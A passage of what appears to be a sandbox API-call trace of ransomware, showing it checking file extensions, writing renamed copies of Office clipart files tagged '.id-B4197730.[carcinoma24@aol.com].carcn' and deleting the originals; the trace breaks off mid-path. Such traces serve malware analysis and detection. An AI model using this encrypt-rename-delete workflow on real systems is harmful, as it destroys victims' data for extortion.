[0294.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.583] lstrlenW (lpString=".rar") returned 4 [0294.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.583] lstrlenW (lpString=".bz2") returned 4 [0294.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.583] lstrlenW (lpString=".7z") returned 3 [0294.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.583] lstrlenW (lpString=".dbf") returned 4 [0294.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.583] lstrlenW (lpString=".1cd") returned 4 [0294.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68 [0294.583] lstrlenW (lpString=".jpg") returned 4 [0294.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.583] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.584] lstrlenW (lpString="AN02559_.WMF") returned 12 [0294.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.584] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6632) returned 1 [0294.584] CloseHandle (hObject=0x364) returned 1 [0294.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220 [0294.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.584] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.585] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0294.585] GetLastError () returned 0x0 [0294.585] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0294.586] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0294.588] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.588] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.588] SetEndOfFile (hFile=0x340) returned 1 [0294.588] CloseHandle (hObject=0x340) returned 1 [0294.589] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.589] SetEndOfFile (hFile=0x364) returned 1 [0294.590] CloseHandle (hObject=0x364) returned 1 [0294.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.590] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0294.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.591] lstrlenW (lpString=".doc") returned 4 [0294.591] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.591] lstrlenW (lpString=".docx") returned 5 [0294.591] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.591] lstrlenW (lpString=".pdf") returned 4 [0294.591] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.591] lstrlenW (lpString=".xls") returned 4 [0294.591] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.591] lstrlenW (lpString=".xlsx") returned 5 [0294.591] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.591] lstrlenW (lpString=".ppt") returned 4 [0294.591] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.591] lstrlenW (lpString=".zip") returned 4 [0294.591] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.591] lstrlenW (lpString=".rar") returned 4 [0294.591] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.591] lstrlenW (lpString=".bz2") returned 4 [0294.591] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.591] lstrlenW (lpString=".7z") returned 3 [0294.591] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.591] lstrlenW (lpString=".dbf") returned 4 [0294.591] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.591] lstrlenW (lpString=".1cd") returned 4 [0294.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.592] lstrlenW (lpString=".jpg") returned 4 [0294.592] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.592] lstrlenW (lpString=".doc") returned 4 [0294.592] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.592] lstrlenW (lpString=".docx") returned 5 [0294.592] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.592] lstrlenW (lpString=".pdf") returned 4 [0294.592] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.592] lstrlenW (lpString=".xls") returned 4 [0294.592] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.592] lstrlenW (lpString=".xlsx") returned 5 [0294.592] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.592] lstrlenW (lpString=".ppt") returned 4 [0294.592] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.592] lstrlenW (lpString=".zip") returned 4 [0294.592] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.592] lstrlenW (lpString=".rar") returned 4 [0294.592] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.592] lstrlenW (lpString=".bz2") returned 4 [0294.592] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.592] lstrlenW (lpString=".7z") returned 3 [0294.592] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.592] lstrlenW (lpString=".dbf") returned 4 [0294.592] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.593] lstrlenW (lpString=".1cd") returned 4 [0294.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0294.593] lstrlenW (lpString=".jpg") returned 4 [0294.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.593] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.593] lstrlenW (lpString="AN02724_.WMF") returned 12 [0294.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.593] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2108) returned 1 [0294.593] CloseHandle (hObject=0x364) returned 1 [0294.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0294.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.594] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.594] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0294.595] GetLastError () returned 0x0 [0294.595] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x83c, lpOverlapped=0x0) returned 1 [0294.597] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x840, lpOverlapped=0x0) returned 1 [0295.056] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.056] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.057] SetEndOfFile (hFile=0x340) returned 1 [0295.057] CloseHandle (hObject=0x340) returned 1 [0295.057] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.057] SetEndOfFile (hFile=0x364) returned 1 [0295.058] CloseHandle (hObject=0x364) returned 1 [0295.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.068] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0295.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.069] lstrlenW (lpString=".doc") returned 4 [0295.069] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.069] lstrlenW (lpString=".docx") returned 5 [0295.069] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.069] lstrlenW (lpString=".pdf") returned 4 [0295.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.070] lstrlenW (lpString=".xls") returned 4 [0295.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.070] lstrlenW (lpString=".xlsx") returned 5 [0295.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.070] lstrlenW (lpString=".ppt") returned 4 [0295.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.070] lstrlenW (lpString=".zip") returned 4 [0295.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.070] lstrlenW (lpString=".rar") returned 4 [0295.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.070] lstrlenW (lpString=".bz2") returned 4 [0295.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.070] lstrlenW (lpString=".7z") returned 3 [0295.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.070] lstrlenW (lpString=".dbf") returned 4 [0295.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.070] lstrlenW (lpString=".1cd") returned 4 [0295.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.070] lstrlenW (lpString=".jpg") returned 4 [0295.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.071] lstrlenW (lpString=".doc") returned 4 [0295.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.071] lstrlenW (lpString=".docx") returned 5 [0295.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.071] lstrlenW (lpString=".pdf") returned 4 [0295.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.071] lstrlenW (lpString=".xls") returned 4 [0295.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.071] lstrlenW (lpString=".xlsx") returned 5 [0295.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.071] lstrlenW (lpString=".ppt") returned 4 [0295.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.071] lstrlenW (lpString=".zip") returned 4 [0295.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.071] lstrlenW (lpString=".rar") returned 4 [0295.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.071] lstrlenW (lpString=".bz2") returned 4 [0295.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.071] lstrlenW (lpString=".7z") returned 3 [0295.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.072] lstrlenW (lpString=".dbf") returned 4 [0295.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.072] lstrlenW (lpString=".1cd") returned 4 [0295.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0295.072] lstrlenW (lpString=".jpg") returned 4 [0295.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.072] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.073] lstrlenW (lpString="AN04323_.WMF") returned 12 [0295.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.073] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2492) returned 1 [0295.073] CloseHandle (hObject=0x364) returned 1 [0295.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0295.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0295.074] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.074] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0295.074] GetLastError () returned 0x0 [0295.074] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0295.075] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0295.077] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.077] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.077] SetEndOfFile (hFile=0x340) returned 1 [0295.077] CloseHandle (hObject=0x340) returned 1 [0295.077] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.077] SetEndOfFile (hFile=0x364) returned 1 [0295.078] CloseHandle (hObject=0x364) returned 1 [0295.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0295.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.079] lstrlenW (lpString=".doc") returned 4 [0295.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.079] lstrlenW (lpString=".docx") returned 5 [0295.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.079] lstrlenW (lpString=".pdf") returned 4 [0295.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.079] lstrlenW (lpString=".xls") returned 4 [0295.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.079] lstrlenW (lpString=".xlsx") returned 5 [0295.079] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.079] lstrlenW (lpString=".ppt") returned 4 [0295.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.079] lstrlenW (lpString=".zip") returned 4 [0295.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.080] lstrlenW (lpString=".rar") returned 4 [0295.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.080] lstrlenW (lpString=".bz2") returned 4 [0295.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.080] lstrlenW (lpString=".7z") returned 3 [0295.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.080] lstrlenW (lpString=".dbf") returned 4 [0295.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.080] lstrlenW (lpString=".1cd") returned 4 [0295.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.080] lstrlenW (lpString=".jpg") returned 4 [0295.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.080] lstrlenW (lpString=".doc") returned 4 [0295.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.080] lstrlenW (lpString=".docx") returned 5 [0295.080] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.080] lstrlenW (lpString=".pdf") returned 4 [0295.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.080] lstrlenW (lpString=".xls") returned 4 [0295.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.080] lstrlenW (lpString=".xlsx") returned 5 [0295.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.080] lstrlenW (lpString=".ppt") returned 4 [0295.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0295.081] lstrlenW (lpString=".zip") returned 4 [0295.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.081] lstrlenW (lpString=".rar") returned 4 [0295.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.081] lstrlenW (lpString=".bz2") returned 4 [0295.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.081] lstrlenW (lpString=".7z") returned 3 [0295.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.081] lstrlenW (lpString="C:\\Program Files\\Microsoft 